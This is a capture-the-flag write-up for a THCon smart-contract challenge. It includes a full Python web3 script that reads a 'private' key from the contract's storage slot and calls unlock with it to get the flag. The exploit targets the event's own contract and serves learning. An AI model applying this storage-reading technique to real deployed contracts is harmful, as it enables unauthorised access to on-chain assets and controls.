Description
The challenge provides the following contract, and, same as the Welcome challenge, the goal is to “unlock” to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| pragma solidity ^0.7.1;
contract hidden {
bool public isLocked;
bytes32 private key;
bool private other;
uint256 private garbage = 88888888888;
uint256 public useless;
uint256 private bob;
constructor() {
//hidden
}
function unlock(bytes32 _something) public {
require(other);
if (key == _something) {
isLocked = false;
}
}
}
|
Solving the challenge
Like in the previous challenge, to unlock, we need a key, except this time it is private:
1
2
3
4
5
6
7
8
| bytes32 private key;
...
function unlock(bytes32 _something) public {
require(other);
if (key == _something) {
isLocked = false;
}
}
|
So, we’re going to read the key (exactly the way I had intended to do it initially with Welcome) using get_storage_at
. The storage probably holds the key at index 1:
1
2
3
4
| bool public isLocked; # index 0
bytes32 private key; # index 1
bool private other; # index 2
...
|
The first step is to get the ABI of the contract, using solc. That’s a step I grasped from Sylvain Pelissier at Insomni’hack CTF:
1
| solc nothingtohide.sol --abi > abi.json
|
For the command to work, in my case, I had to fix the solidity pragma to pragma solidity ^0.8.19;
. Then I copy-pasted the Json array in my Python script.
Then, you deploy the contract on the CTF infrastructure and retrieve the contact’s address.
My script is very inspired from Sylvain’s:
- Connect to the RPC URL
- Get the contract, using its address
- Read the key from storage
- Send the transaction
To send the transaction, you need your private key. You can retrieve it from the Metamask wallet you created for the CTF:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| #!/usr/bin/env python3
from web3 import Web3
# solc nothingtohide.sol --abi > abi.json - then copy paste content of abi.json here
abi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_something","type":"bytes32"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"useless","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
# connect to the CTF RPC URL
url = 'https://node01-eth.ctf.thcon.party:8545'
web3 = Web3(Web3.HTTPProvider(url))
# I am logged in the CTF interface with this personal address
my_address = web3.to_checksum_address('0xc8fe...')
# The contract is deployed at this address
contract_address = web3.to_checksum_address('0xb9eE2C6DBa64e2dc3FE7e78aEE8e34FBb33FcAA3')
contract = web3.eth.contract(address=contract_address, abi=abi)
# Read the key from the contract
key_bytes = web3.eth.get_storage_at(contract_address,1)
print(f"key bytes: {key_bytes} {len(key_bytes)}")
# b' \xfa\xbb\xc0f0e\xde\x90\x9de\xa3\x02D\xd2\xb4\x1eE\x10\xa3`\xe7\xd5\xb0xA\xbb\x90\x8a\xd5z\x9f'
# create transaction
print('Creating transaction...')
transfer_tx = contract.functions.unlock(key_bytes).build_transaction(
{
'from': my_address,
'nonce': web3.eth.get_transaction_count(my_address),
'gasPrice': web3.eth.gas_price
})
# signing the transaction with my personal wallet's private key (in Metamask)
print("Signing transaction...")
x_create = web3.eth.account.sign_transaction(transfer_tx, 0x863ce...)
# sending the transaction - for that I need a few tokens at least that I can mine on the CTF interface
print('Send raw...')
tx_hash = web3.eth.send_raw_transaction(x_create.rawTransaction)
print('Receipt')
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')
|
This unlocks the contract, and thus, when you go back to the CTF interface, you get the flag :)
My feedback
Actually, I flagged this challenge more easily / quickly than Welcome, because I had some prior (small) experience with Web3 python scripts.
Nevertheless, I liked it very much: I find the scenario’s design excellent, the CTF crypto interface excellent. Thanks!